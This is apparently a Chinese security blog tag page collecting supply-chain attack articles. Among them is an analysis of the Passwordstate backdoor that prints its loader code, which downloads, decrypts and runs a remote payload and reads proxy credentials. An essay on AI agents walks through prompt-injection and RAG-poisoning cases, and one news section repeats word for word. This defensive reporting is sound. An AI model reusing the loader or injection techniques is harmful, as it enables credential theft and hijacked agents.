标签 供应链攻击 下的文章

2021年4月,企业密码管理软件 Passwordstate 遭遇供应链攻击,攻击者入侵了官方升级服务器,在更新包中植入后门。最近拿到了当时的恶意样本,来分析一下这个后门是怎么藏的、怎么工作的。


0x00 样本基本信息

先用 Exeinfo PE 扫一眼:

8di90ocrpo.png

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4

虽然有混淆,但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构:

xew99ic8ii.png

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│   ├── Container
│   └── Loader
└── Moserware
    ├── Algebra
    ├── Numerics
    └── Security.Cryptography

看起来是个实现 Shamir 秘密共享算法的开源库,GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。


0x01 发现后门入口

翻了翻代码,在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻:

400tpx4rot.png

Public MustInherit Class Diffuser
    Protected Sub New()
        Container.Running(
            "https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
            "f4f15dddc3ba10dd443493a2a8a526b0",
            7200000,
            "Agent.Agent",
            "Invoke"
        )
    End Sub
End Class

好家伙,构造函数里直接调用了 Container.Running(),传了一堆参数进去。

这意味着只要有任何代码 new 了一个继承 Diffuser 的类,后门就会被触发。而 Diffuser 是个抽象基类,下面有好几个子类在用,触发条件太容易满足了。

作者选择把恶意代码藏在构造函数里,而不是静态构造函数,说明他不想在程序集加载时就暴露,而是等到真正使用加密功能时才激活。很狡猾。


0x02 后门核心逻辑分析

跟进 Loader.Container 类,这才是重头戏。

目标检测

bzgi9q6tjf.png

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
    ' 只在目标进程中执行
End If

只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件,看来这个后门是专门针对它的供应链攻击。

在沙箱或者分析环境里跑这个 DLL?抱歉,啥也不干,直接装死。这招能绕过很多自动化分析。

C2 通信

gq4j71r9yz.png

Private Shared Function [Get](u As String, ...) As Byte()
    ' 禁用证书验证,方便中间人
    ServicePointManager.ServerCertificateValidationCallback = Function(...) True

    ' 伪装成 Chrome 浏览器
    httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."

几个关键点:

  1. 禁用 SSL 证书验证 - 攻击者可以随时劫持流量
  2. User-Agent 伪装 - 流量看起来像正常浏览器请求
  3. URL 加时间戳 - 绕过缓存,确保每次都能拿到最新 payload

Payload 解密

96mgurgot1.png

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
    Return New RijndaelManaged() With {
        .Key = Encoding.UTF8.GetBytes(Key),
        .Mode = CipherMode.ECB,
        .Padding = PaddingMode.PKCS7
    }.CreateDecryptor().TransformFinalBlock(...)
End Function

从 C2 下载的内容是 Base64 编码的 AES 密文,密钥是硬编码的:

f4f15dddc3ba10dd443493a2a8a526b0

用的 ECB 模式,虽然不安全,但对于加载 payload 来说够用了。

凭据窃取彩蛋

翻代码的时候还发现个有意思的函数 GetProxyInfo

virg5nz4ru.png

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"

后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网,后门会自动适配。想得真周到啊...

而且解密代理密码用的是 Passwordstate 自己的解密函数:

assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)

借刀杀人,妙啊。


0x03 Payload 执行

最后看看 Loader.Loader 类,负责执行下载的 payload:

0e4d92ebe8391cfe9eb199066042cace.png}}

Private Sub ThreadFunc()
    Assembly.Load(Me.assemblyData) _
        .[GetType](Me.assemblyType) _
        .GetMethod(Me.assemblyMethod) _
        .Invoke(Nothing, Nothing)
End Sub

经典的无文件攻击:

  1. Assembly.Load() 直接从内存加载程序集
  2. 通过反射找到指定的类和方法
  3. 调用执行

根据硬编码的参数,它会执行 Agent.Agent.Invoke()。整个过程不落地文件,杀软很难检测。


0x04 攻击流程总结

Passwordstate 启动
        |
        v
加载 Moserware.SecretSplitter.dll
        |
        v
使用加密功能 -> 实例化 Diffuser 子类
        |
        v
触发构造函数 -> Container.Running()
        |
        v
检测进程名 == "Passwordstate" ?
        |
       YES
        v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
        |
        v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
        |
        v
Assembly.Load() 内存加载
        |
        v
反射调用 Agent.Agent.Invoke()
        |
        v
每 2 小时循环检查更新


0x05 C2 域名分析

后门中硬编码的回连地址:

https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

拆解一下这个域名:

组成部分 说明
passwordstate 伪装成目标软件的官方域名
18ed2 随机字符串,可能用于区分不同攻击批次
kxcdn.com KeyCDN 的 CDN 域名

攻击者用 CDN 来托管恶意 payload 有几个好处:

  1. 隐藏真实服务器 - CDN 背后的源站 IP 不会直接暴露
  2. 提高可用性 - CDN 节点多,不容易被单点屏蔽
  3. 流量伪装 - HTTPS + 知名 CDN 域名,看起来像正常业务流量

事件背景

这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件

  • 时间线: 2021年4月20日 20:33 UTC 至 4月22日 00:30 UTC(约28小时窗口期)
  • 攻击方式: 攻击者入侵了 Passwordstate 的升级服务器,篡改了官方更新包
  • 受影响范围: Passwordstate 被全球约 29,000 家企业使用,包括多家财富500强公司
  • 恶意软件名称: 被安全厂商命名为 Moserpass

攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中,然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户,都中招了。


0x06 IOCs 汇总

网络指标:

域名: passwordstate-18ed2.kxcdn.com
URL:  https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

加密密钥:

AES Key: f4f15dddc3ba10dd443493a2a8a526b0

行为特征:

  • 进程名检测: Passwordstate
  • 禁用 SSL 证书验证
  • SQL 查询: SELECT ... FROM [SystemSettings]
  • 内存加载: Assembly.Load() + 反射执行
  • 心跳间隔: 7200000ms (2小时)


网络安全研究人员披露了一起针对 Open VSX 插件仓库的供应链攻击详情,不明身份的威胁攻击者攻陷了一名合法开发者的相关资源,借此向下游用户推送恶意更新包。
“2026 年 1 月 30 日,由开发者 oorzc 发布的四款成熟 Open VSX 插件,被上传了嵌入GlassWorm 恶意软件加载器的恶意版本”,Socket 安全研究员基里尔・博伊琴科在周六发布的报告中指出。
“这些插件此前一直以正规开发者工具的身份存在(部分插件发布时间已超过两年),在恶意版本发布前,累计下载量已超 22000 次。”
这家供应链安全公司表示,此次攻击的核心是开发者的插件发布凭据遭窃取,Open VSX 安全团队评估认为,攻击者的作案手段要么是利用泄露的令牌,要么是通过其他方式实现了未授权访问。目前,这些恶意插件版本已被从 Open VSX 平台下架。
已确认的涉事插件名单如下:
  • FTP/SFTP/SSH 同步工具(oorzc.ssh-tools — 版本 0.5.1)
  • 国际化工具(oorzc.i18n-tools-plus — 版本 1.6.8)
  • vscode 思维导图(oorzc.mind-map — 版本 1.0.61)
  • scss 转 css(oorzc.scss-to-css-compile — 版本 1.3.4)
Socket 指出,这些被篡改的插件版本,其设计目的是投递一款与已知攻击活动相关联的加载器恶意软件,即 GlassWorm。该加载器可在运行时解密并执行嵌入的恶意代码,采用了一种日趋武器化的技术EtherHiding来获取命令与控制(C2)服务器地址,最终会执行恶意代码,窃取苹果 macOS 系统的账户凭据以及加密货币钱包数据。
同时,这款恶意软件并非立即触发执行,而是会先对受感染设备进行环境探查,确认设备不属于俄语区域后才会启动。这种模式在俄语区相关威胁组织开发的恶意程序中十分常见,目的是避免在本土范围内遭到法律追责。
该恶意软件窃取的信息类型包括:
  • 火狐浏览器及基于 Chromium 内核的浏览器数据(登录凭证、Cookie、上网记录,以及 MetaMask 等钱包插件数据)
  • 加密货币钱包文件(涵盖 Electrum、Exodus、Atomic、Ledger Live、Trezor Suite、币安、TonKeeper 等主流钱包)
  • iCloud 钥匙串数据库
  • Safari 浏览器 Cookie
  • 苹果备忘录数据
  • 桌面、文档、下载文件夹中的用户文件
  • FortiClient VPN 配置文件
  • 开发者凭据(例如~/.aws 和~/.ssh 目录下的文件)
针对开发者信息的窃取行为存在严重风险,可能导致企业环境面临云账户被攻陷、攻击者横向渗透内网等威胁。
“该恶意载荷包含专门的程序逻辑,可定位并提取日常开发流程中使用的认证信息,包括检查 npm 配置中的_authToken 令牌、读取 GitHub 认证相关文件等,这些信息可被用于访问私有代码仓库、持续集成密钥以及发布自动化系统。” 博伊琴科补充道。
此次攻击的一个显著特点在于,它与此前发现的 GlassWorm 攻击特征存在差异 ——攻击者借助遭攻陷的合法开发者账户来传播恶意软件。而在以往的攻击活动中,该威胁组织通常会采用 “仿冒拼写插件名”“品牌劫持” 的手段,上传伪造插件以实现恶意传播。
“该威胁组织的攻击行为完全融入开发者的日常工作流程,将恶意执行逻辑隐藏在加密的、运行时解密的加载器中,还利用 Solana 区块链备忘录作为动态秘密传输点,无需重新发布插件即可更换中转服务器。”Socket 表示,“这些设计方案降低了静态特征检测的有效性,迫使防御方将防护重心转向行为检测与快速响应。”

威胁行为者正将 Visual Studio Code 变为攻击平台,借助其完善的扩展生态系统,向开发者工作站植入多阶段恶意软件
此次最新攻击活动被命名为伊夫林窃取程序,该恶意程序隐匿于一款恶意扩展中,通过数个精心设计的攻击阶段,向目标端投放一款具备隐秘性的信息窃取工具。
攻击者的目标并非普通终端用户,而是开发者群体—— 这类人群往往掌握着源代码、云控制台及加密货币资产的核心访问权限。
攻击从受害者安装一款伪装成实用或无害的植毒 Visual Studio Code 扩展开始,该扩展会在后台释放伪造的 Lightshot.dll 组件,随后这一组件会被正版截图工具 Lightshot.exe 加载运行。
此后恶意软件攻击链逐步展开,不仅会远程获取新的攻击载荷、执行隐藏的 PowerShell 命令,还会为最终实现大规模数据窃取的伊夫林窃取程序可执行文件搭建运行环境。
趋势科技分析师指出,攻击者将用户对Visual Studio Code 应用市场的信任当作可利用的武器,以恶意扩展为载体构建完整攻击链,实现从初始加载器启动到最终数据窃取的全流程攻击。
攻击者通过滥用 Lightshot 这类开发者常用工具,并采用仿签名的导出方式,让攻击第一阶段融入开发者的正常操作流程,同时在后台悄然为后续的入侵环节做准备。

伊夫林窃取程序完全执行后,会从受感染设备中窃取浏览器密码、Cookie、加密货币钱包、即时通讯会话记录、VPN 配置文件、Wi-Fi 密钥及各类敏感文件

同时该程序还会捕获设备截图和详细的系统信息,将所有数据压缩为单个压缩包后,上传至攻击者控制的 FTP 服务器。

对企业而言,仅一台开发者笔记本电脑被感染,就可能导致源代码、云访问令牌及生产环境凭证泄露,让一次工具链的使用疏漏,演变为波及范围广泛的安全入侵事件。

多阶段感染链的技术细节

攻击的第一阶段隐藏在恶意 Visual Studio Code 扩展内,伪装为 Lightshot.dll 文件,每当用户进行截图操作时,该文件就会被 Lightshot.exe 调用执行。
该下载器被触发后,会执行一条隐藏的 PowerShell 命令,从远程域名拉取名为 iknowyou.model 的第二阶段攻击文件,将其另存为 runtime.exe 并运行。
伊夫林窃取程序的攻击载荷会在设备中创建AppData\Evelyn 文件夹,向 Edge 和 Chrome 浏览器注入 abe_decrypt.dll 文件,最终将窃取的数据打包为 ZIP 压缩包,通过 FTP 协议完成上传。

有监测显示,威胁攻击者在 npm 软件包仓库中上传了八个恶意软件包。这些软件包伪装成面向 n8n 工作流自动化平台的集成插件,其真实目的是窃取开发者的 OAuth 身份凭证。
其中一款名为n8n-nodes-hfgjf-irtuinvcm-lasdqewriit的软件包,仿冒了谷歌广告的集成功能。它会诱导用户通过一个看似正规的表单绑定广告账户,随后将用户的 OAuth 凭证窃取并传输至攻击者控制的服务器中。
恩多尔实验室在其上周发布的一份报告中指出:“此次攻击标志着供应链威胁进入了全新的升级阶段。” 与传统的 npm 恶意软件不同 —— 这类软件往往以窃取开发者个人凭证为目标,而此次攻击则直接针对工作流自动化平台。这类平台本身相当于一个集中式凭证存储库,会将谷歌广告、Stripe 支付、Salesforce 客户管理等数十种集成服务的 OAuth 令牌、API 密钥以及敏感凭证统一存储。
目前已被确认并下架的恶意软件包完整名单如下:
  • n8n-nodes-hfgjf-irtuinvcm-lasdqewriit(下载量 4241 次,作者:kakashi-hatake)
  • n8n-nodes-ggdv-hdfvcnnje-uyrokvbkl(下载量 1657 次,作者:kakashi-hatake)
  • n8n-nodes-vbmkajdsa-uehfitvv-ueqjhhhksdlkkmz(下载量 1493 次,作者:kakashi-hatake)
  • n8n-nodes-performance-metrics(下载量 752 次,作者:hezi109)
  • n8n-nodes-gasdhgfuy-rejerw-ytjsadx(下载量 8385 次,作者:zabuza-momochi)
  • n8n-nodes-danev(下载量 5525 次,作者:dan_even_segler)
  • n8n-nodes-rooyai-model(下载量 1731 次,作者:haggags)
  • n8n-nodes-zalo-vietts(下载量 4241 次,作者:vietts_code、diendh)
截至本文撰写时,npm 用户zabuza-momochidan_even_seglerdiendh还被列为另外四款仍可下载的软件包的作者,具体如下:
  • n8n-nodes-gg-udhasudsh-hgjkhg-official(下载量 2863 次)
  • n8n-nodes-danev-test-project(下载量 1259 次)
  • @diendh/n8n-nodes-tiktok-v2(下载量 218 次)
  • n8n-nodes-zl-vietts(下载量 6357 次)
目前尚无法确认这四款软件包是否包含类似的恶意功能。不过,逆向实验室通过 Spectra Assure 工具对前三款软件包进行的安全评估显示,其暂未发现安全隐患;而针对n8n-nodes-zl-vietts的分析结果则显示,该软件包中包含一个曾被标记为恶意软件的组件。

值得警惕的是,软件包n8n-nodes-gg-udhasudsh-hgjkhg-official的更新版本在三小时前刚刚发布至 npm 仓库,这一迹象表明,攻击者的此次攻击活动可能仍在持续
这类恶意软件包一旦作为社区节点完成安装,其外在表现与其他任何一款 n8n 集成插件无异 —— 会正常显示配置界面,并将谷歌广告账户的 OAuth 令牌以加密形式保存至 n8n 的凭证存储库。但当工作流开始执行时,它会运行恶意代码,利用 n8n 的主密钥对存储的令牌进行解密,随后将这些凭证窃取并外传至远程服务器。
这一攻击事件的出现,标志着供应链威胁首次明确将 n8n 生态系统作为攻击目标。攻击者正是利用了用户对社区集成插件的信任,进而实现其窃取凭证的目的。
此次事件也凸显出一个核心安全隐患:集成来源不可信的工作流,会大幅扩大企业的攻击面。研究人员建议,开发者在安装任何软件包前都应进行安全审计,仔细核查软件包的元数据是否存在异常,并优先使用 n8n 官方提供的集成插件。
n8n 官方同样发出警告,提醒用户警惕来自 npm 仓库的社区节点所带来的安全风险。这类节点可能会引入破坏性更新,或在服务运行的主机上执行恶意操作。官方建议,对于自托管的 n8n 实例,可通过将环境变量N8N_COMMUNITY_PACKAGES_ENABLED设置为false的方式,禁用社区节点功能。
研究人员基兰・拉吉与亨里克・普拉特指出:“社区节点拥有与 n8n 主程序完全等同的访问权限。它们可以读取环境变量、访问文件系统、发起对外网络请求,而最关键的一点是,它们能在工作流执行过程中获取到已解密的 API 密钥与 OAuth 令牌。节点代码与 n8n 运行时环境之间,不存在任何沙箱隔离机制。”
“正因如此,一款恶意 npm 软件包就足以让攻击者深度窥探目标系统的工作流、窃取各类凭证,并且在不触发即时警报的情况下实现对外通信。对于攻击者而言,npm 供应链已成为他们潜入 n8n 环境的一条隐蔽且高效的入侵通道。”

更新补充

在接受《黑客新闻》采访时,恩多尔实验室证实,npm 软件包n8n-nodes-gg-udhasudsh-hgjkhg-official确实为恶意软件,且属于此次攻击活动的一部分;其余三款软件包则被判定为良性。

一、AI 正在进入“可执行时代” 在较早的企业应用阶段,AI 更多承担的是: 问答与搜索 文本总结 推荐与分类 这些场景下,AI 的输出即使存在错误,影响范围通常也局限在信息层面 但近两年,这一边界正在发生明显变化。 在大量企业实践中,AI 已被逐步接入: 工单系统与流程系统 内部数据查询接口 自动化运维与日志分析 云资源管理与平台编排能力 此时,AI 不再只是“给建议”,而是参与实际动作的触发与决策过程 一个关键问题随之出现: 当 AI 开始执行操作时,它的“权限判断”来自哪里?

二、企业级 AI 系统的常见运行模式 在安全分析中,一个常被忽略的事实是:
对话式 AI 的推理过程虽然是无状态的,但企业级系统通常会在模型之外维护会话状态、上下文与长期记忆,从而形成连续行为。
在实际部署中,AI 系统通常具备以下特征: 同一模型实例服务多个请求 依赖历史上下文进行连续推理 通过配置与策略统一约束行为 借助云算力与平台资源运行 这意味着,AI 的行为并非完全由“当前输入”决定,而是受到长期状态、配置与上下文的共同影响 在此基础上,企业级 AI 系统往往包含以下几个关键层次: 模型与系统配置层 任务编排与决策控制层(Orchestrator) 外部工具与服务接口 状态存储与知识体系 安全风险,往往并不直接来自模型本身,而是产生于这些层次之间的信任关系设计 需要思考的几个基础点如下: 第一点,大多数企业级AI系统会将上下文(短期或长期)存入内存或数据库,从而实现连续回复和状态保持。 第二点,AI所需算力庞大,目前大多数企业级部署仍依赖云服务器,这为攻击者提供了潜在的云控制面目标。 第三点,随着AI Agent的广泛应用,其往往成为多种工具与权限的集合体,赋权不当极易引入安全漏洞。 关于AI的架构部分,我主要分为了四大模块: 第一部分是AI算力模块(云资源与模型服务)。 第二部分主要是AI大脑控制(AI Orchestrator)层面。 第三部分是AI的外部工具调用。 第四部分是AI的独立数据库(状态、记忆与知识存储)。 对于大多数读者来说,即使从未接触过 AI 开发,只要使用过对话式 AI,其背后基本都遵循如下架构 简单画一下AI的架构图便于理解:

image.png

三、重新理解 AI Agent 的安全边界 从系统视角看,一个典型的 AI Agent 通常由以下要素构成: 语言模型:负责理解与推理 规则与策略:定义行为边界 状态与记忆机制:保存上下文与历史 工具与接口权限:连接外部系统 调度与决策逻辑:决定执行路径 在这个结构中,模型只是“理解引擎”,
而真正决定风险上限的,是权限、状态与决策机制的组合方式
如果这些组件之间缺乏清晰的安全边界,AI Agent 的行为就可能出现“超出设计预期”的情况。

四、风险分析一:状态与上下文的信任问题 在传统系统中,权限判断通常基于明确的身份认证与授权流程。 而在 AI 系统中,行为判断往往隐含地依赖于: 系统提示与配置 历史对话内容 状态记忆中的既有结论 如果这些信息被不当继承或混合使用,就可能导致状态信任偏移 例如,在多轮交互中,AI 可能基于先前结论延续对用户身份或角色的假设,而这一假设并不一定经过真实系统校验。 这种问题并非单点错误,而是由连续推理机制天然放大的系统性风险。 关于历史对话部分的关键风险点:

风险
本质
上下文污染
状态注入
多轮对话权限错觉
Identity 漂移
记忆跨 session
租户隔离失败
向量召回污染
AI 供应链攻击

跨租户污染的真实案例 Slack AI 2024 prompt injection & data exfiltration(PromptArmor报告,2024年8月):攻击者在公共频道注入恶意prompt,Slack AI在总结/搜索时会拉取私有频道数据,并生成可点击链接泄露给攻击者服务器。虽非严格向量库跨租户, 但展示了公共可见内容对私有检索结果的污染风险。Slack随后紧急patch。 此外,多轮对话 可能造成权限升级错觉------前提:Orchestrator 没有 硬校验,Tool 没有 权限二次确认 真实案例: ServiceNow Now Assist 2025第二序prompt injection(AppOmni报告,2025年11月):低权限用户注入恶意prompt到内容中,诱导低权限Agent招募高权限Agent执行CRUD操作、发送外部邮件(使用发起交互用户的权限)。即使开启内置prompt injection保护仍可成功。ServiceNow确认是设计行为,但更新文档警示风险。 实操危害:导致调用内部/付费工具、泄露其他用户数据、业务逻辑绕过(如客服Agent退款、解锁)。

五、风险分析二:记忆机制带来的长期影响 为了提升体验,许多 AI Agent 引入了长期记忆或向量化知识存储机制,用于: 保存历史偏好 复用上下文信息 构建内部知识库 但从安全角度看,这类机制引入了新的挑战: 不同用户或租户之间的状态是否严格隔离 记忆内容是否具备可信来源标识 是否存在长期残留的错误认知 一旦记忆系统缺乏明确边界,其影响往往具有持续性与放大效应,而非一次性问题。 从状态持久化(可能包含记忆序列化)到云资源的攻击思路 前置条件:Agent 使用 LangChain 等框架的序列化功能持久化状态(包括记忆或工具上下文),且进程持有云凭证。 真实案例:LangChain Core CVE-2025-68664(LangGrinch,2025年12月):攻击者通过 Prompt Injection 诱导 LLM 生成恶意元数据,污染序列化字段。 在该案例中,研究表明:当状态序列化与反序列化机制缺乏完整性校验时,Prompt 注入可能影响系统元数据处理流程,在特定配置下增加云凭证暴露的风险面

六、风险分析三:工具调用与权限放大效应 在实际系统中,AI Agent 通常通过工具接口完成任务,例如: 数据查询 服务调用 平台操作 出于便利性考虑,这些工具往往绑定的是服务级身份,而非用户的真实权限集合。 如果缺乏细粒度的权限约束与操作校验,可能出现以下风险模式: AI 的行为能力大于发起请求者的真实权限 工具返回结果被默认信任并参与后续决策 决策逻辑对异常输入缺乏防护机制 这些问题的本质并非传统意义上的漏洞,而是权限建模与信任传递设计不当 1.调用工具的身份权限问题 本质:Agent通常以服务账号(高权限)调用工具,而非用户权限,导致过度代理(Excessive Agency),用户可诱导执行未授权操作(OWASP LLM08)。 真实案例 攻击链:低权限用户在可读内容(如ticket描述)中注入指令 → 低权限Agent解析并招募高权限Agent → 执行写操作或外发邮件。 2.调用工具----->可触发ssrf
真实案例:
● ChatGPT Custom GPTs/Actions SSRF(2024-2025多起相关报告及研究):用户可控URL被Agent用于资源加载(如图片/网页检索),触发服务器端请求伪造,泄露云元数据服务(如Azure/AWS IMDS)和临时凭证(OpenAI已多次修复)。
3.工具返回结果反向污染Orchestrator/决策 4.调用工具----打到AI orchestrator面 真实案例: Microsoft 365 Copilot 数据外泄(2024-2025多起报告):攻击者在共享文档/邮件中注入恶意指令,Copilot检索后信任并输出敏感信息,或生成含外泄链接的响应,导致间接数据泄露。(可替换或补充Slack案例)

七、RAG 与外部知识的供应链风险 当 AI Agent 具备联网搜索或自动构建知识库能力时,其知识来源不再完全可控。 在实践中需要关注的问题包括: 知识收录的可信度与权重机制 外部内容对内部决策的长期影响 离线模式下对历史知识的持续依赖 这类风险往往不表现为即时异常,而是以潜移默化的方式影响系统行为,增加安全审计与治理难度。 供应链攻击 / RAG知识库污染 真实案例: AgentPoison (2024-2025):在RAG知识库/记忆中注入极少恶意演示,成功攻击真实Agent(自动驾驶、QA、医疗),证明知识污染可持久误导。 Slack AI 2024:公共频道污染导致私有数据泄露(间接RAG污染)。

八、防御视角下的设计原则 从系统安全角度看,AI Agent 的防御重点不应放在“限制模型能力”,而应关注以下原则: 权限判断必须来自真实系统,而非自然语言上下文 状态与记忆需按用户与租户强制隔离 工具权限遵循最小化原则 AI 的角色是“辅助决策”,而非“自动授权” 关键操作始终需要显式校验与审计 这些原则并不会降低 AI 的业务价值,但能够显著降低其对整体系统安全边界的冲击。

九、结语 当 AI Agent 被赋予执行能力后,安全边界不再只存在于接口、代码与权限系统中,而是被拆散并分布在上下文、状态、记忆与决策链路之中。 真正值得警惕的,并不是模型是否“听话”,而是系统是否在无意识中,将关键判断权交给了未经验证的推理结果。 在企业级 AI 系统中,任何一次未被显式校验的状态继承、角色假设或工具调用,最终都会转化为真实系统中的权限行为。这正是 AI Agent 安全治理必须回到系统设计本身的原因。

有监测显示,威胁攻击者在 npm 软件包仓库中上传了八个恶意软件包。这些软件包伪装成面向 n8n 工作流自动化平台的集成插件,其真实目的是窃取开发者的 OAuth 身份凭证。
其中一款名为n8n-nodes-hfgjf-irtuinvcm-lasdqewriit的软件包,仿冒了谷歌广告的集成功能。它会诱导用户通过一个看似正规的表单绑定广告账户,随后将用户的 OAuth 凭证窃取并传输至攻击者控制的服务器中。
恩多尔实验室在其上周发布的一份报告中指出:“此次攻击标志着供应链威胁进入了全新的升级阶段。” 与传统的 npm 恶意软件不同 —— 这类软件往往以窃取开发者个人凭证为目标,而此次攻击则直接针对工作流自动化平台。这类平台本身相当于一个集中式凭证存储库,会将谷歌广告、Stripe 支付、Salesforce 客户管理等数十种集成服务的 OAuth 令牌、API 密钥以及敏感凭证统一存储。
目前已被确认并下架的恶意软件包完整名单如下:
  • n8n-nodes-hfgjf-irtuinvcm-lasdqewriit(下载量 4241 次,作者:kakashi-hatake)
  • n8n-nodes-ggdv-hdfvcnnje-uyrokvbkl(下载量 1657 次,作者:kakashi-hatake)
  • n8n-nodes-vbmkajdsa-uehfitvv-ueqjhhhksdlkkmz(下载量 1493 次,作者:kakashi-hatake)
  • n8n-nodes-performance-metrics(下载量 752 次,作者:hezi109)
  • n8n-nodes-gasdhgfuy-rejerw-ytjsadx(下载量 8385 次,作者:zabuza-momochi)
  • n8n-nodes-danev(下载量 5525 次,作者:dan_even_segler)
  • n8n-nodes-rooyai-model(下载量 1731 次,作者:haggags)
  • n8n-nodes-zalo-vietts(下载量 4241 次,作者:vietts_code、diendh)
截至本文撰写时,npm 用户zabuza-momochidan_even_seglerdiendh还被列为另外四款仍可下载的软件包的作者,具体如下:
  • n8n-nodes-gg-udhasudsh-hgjkhg-official(下载量 2863 次)
  • n8n-nodes-danev-test-project(下载量 1259 次)
  • @diendh/n8n-nodes-tiktok-v2(下载量 218 次)
  • n8n-nodes-zl-vietts(下载量 6357 次)
目前尚无法确认这四款软件包是否包含类似的恶意功能。不过,逆向实验室通过 Spectra Assure 工具对前三款软件包进行的安全评估显示,其暂未发现安全隐患;而针对n8n-nodes-zl-vietts的分析结果则显示,该软件包中包含一个曾被标记为恶意软件的组件。

值得警惕的是,软件包n8n-nodes-gg-udhasudsh-hgjkhg-official的更新版本在三小时前刚刚发布至 npm 仓库,这一迹象表明,攻击者的此次攻击活动可能仍在持续
这类恶意软件包一旦作为社区节点完成安装,其外在表现与其他任何一款 n8n 集成插件无异 —— 会正常显示配置界面,并将谷歌广告账户的 OAuth 令牌以加密形式保存至 n8n 的凭证存储库。但当工作流开始执行时,它会运行恶意代码,利用 n8n 的主密钥对存储的令牌进行解密,随后将这些凭证窃取并外传至远程服务器。
这一攻击事件的出现,标志着供应链威胁首次明确将 n8n 生态系统作为攻击目标。攻击者正是利用了用户对社区集成插件的信任,进而实现其窃取凭证的目的。
此次事件也凸显出一个核心安全隐患:集成来源不可信的工作流,会大幅扩大企业的攻击面。研究人员建议,开发者在安装任何软件包前都应进行安全审计,仔细核查软件包的元数据是否存在异常,并优先使用 n8n 官方提供的集成插件。
n8n 官方同样发出警告,提醒用户警惕来自 npm 仓库的社区节点所带来的安全风险。这类节点可能会引入破坏性更新,或在服务运行的主机上执行恶意操作。官方建议,对于自托管的 n8n 实例,可通过将环境变量N8N_COMMUNITY_PACKAGES_ENABLED设置为false的方式,禁用社区节点功能。
研究人员基兰・拉吉与亨里克・普拉特指出:“社区节点拥有与 n8n 主程序完全等同的访问权限。它们可以读取环境变量、访问文件系统、发起对外网络请求,而最关键的一点是,它们能在工作流执行过程中获取到已解密的 API 密钥与 OAuth 令牌。节点代码与 n8n 运行时环境之间,不存在任何沙箱隔离机制。”
“正因如此,一款恶意 npm 软件包就足以让攻击者深度窥探目标系统的工作流、窃取各类凭证,并且在不触发即时警报的情况下实现对外通信。对于攻击者而言,npm 供应链已成为他们潜入 n8n 环境的一条隐蔽且高效的入侵通道。”

更新补充

在接受《黑客新闻》采访时,恩多尔实验室证实,npm 软件包n8n-nodes-gg-udhasudsh-hgjkhg-official确实为恶意软件,且属于此次攻击活动的一部分;其余三款软件包则被判定为良性。

亚马逊网络服务(AWS)CodeBuild中的一项关键配置错误,可能导致攻击者完全接管该云服务提供商自身的GitHub仓库(包括其AWS JavaScript SDK),从而使每个AWS环境面临风险。

该漏洞已被云安全公司Wiz命名为CodeBreach。AWS在2025年8月25日收到负责任披露后,已于2025年9月修复此问题。

"通过利用CodeBreach,攻击者可能注入恶意代码以发起平台级入侵,不仅可能影响无数依赖该SDK的应用程序,还可能威胁控制台本身,危及每个AWS账户,"研究人员Yuval Avrahami和Nir Ohfeld在与The Hacker News分享的报告中表示。

Wiz指出,该漏洞源于持续集成(CI)管道中的一个弱点,可能使未经身份验证的攻击者侵入构建环境,泄露GitHub管理员令牌等特权凭证,然后利用这些凭证向受感染的仓库推送恶意更改——从而为供应链攻击开辟途径。

换言之,该问题破坏了AWS引入的webhook过滤器机制,这些过滤器原本用于确保只有特定事件才能触发CI构建。例如,AWS CodeBuild可以配置为仅当代码更改提交到特定分支时,或当GitHub或GitHub Enterprise Server账户ID(即ACTOR_ID或参与者ID)与正则表达式模式匹配时才触发构建。这些过滤器旨在防范不受信任的拉取请求。

此配置错误影响了以下AWS管理的开源GitHub仓库,这些仓库配置为在拉取请求时运行构建:

  • aws-sdk-js-v3
  • aws-lc
  • amazon-corretto-crypto-provider
  • awslabs/open-data-registry

这四个项目虽然实施了ACTOR_ID过滤器,但存在一个"致命缺陷":它们未包含两个确保精确正则表达式匹配所必需的字符——即起始锚点^和结束锚点$。相反,正则表达式模式允许任何作为已批准ID(例如755743)超字符串的GitHub用户ID绕过过滤器并触发构建。

由于GitHub按顺序分配数字用户ID,Wiz表示能够预测新用户ID(目前为9位)大约每五天就会"覆盖"一位受信任维护者的六位ID。这一发现,结合使用GitHub Apps自动化创建应用程序(进而创建相应的机器人用户),使得通过触发数百个新机器人用户注册来生成目标ID(例如226755743)成为可能。

获得参与者ID后,攻击者现在可以触发构建并获取aws-sdk-js-v3 CodeBuild项目的GitHub凭证——一个属于aws-sdk-js-automation用户的个人访问令牌(PAT),该令牌对仓库拥有完全管理员权限。

攻击者可以利用这种提升的访问权限直接向主分支推送代码、批准拉取请求并窃取仓库机密,最终为供应链攻击创造条件。

"上述仓库为AWS CodeBuild webhook过滤器配置的正则表达式本意是限制受信任的参与者ID,但存在不足,使得可预测获取的参与者ID能够获得受影响仓库的管理权限,"AWS在今天发布的公告中表示。

"我们可以确认,这些是这些仓库webhook参与者ID过滤器中的项目特定配置错误,而非CodeBuild服务本身的问题。"

亚马逊还表示已修复已发现的问题,并实施了额外的缓解措施,例如凭证轮换以及保护包含GitHub令牌或内存中任何其他凭证的构建流程的步骤。该公司进一步强调,未发现CodeBreach在野外被利用的证据。

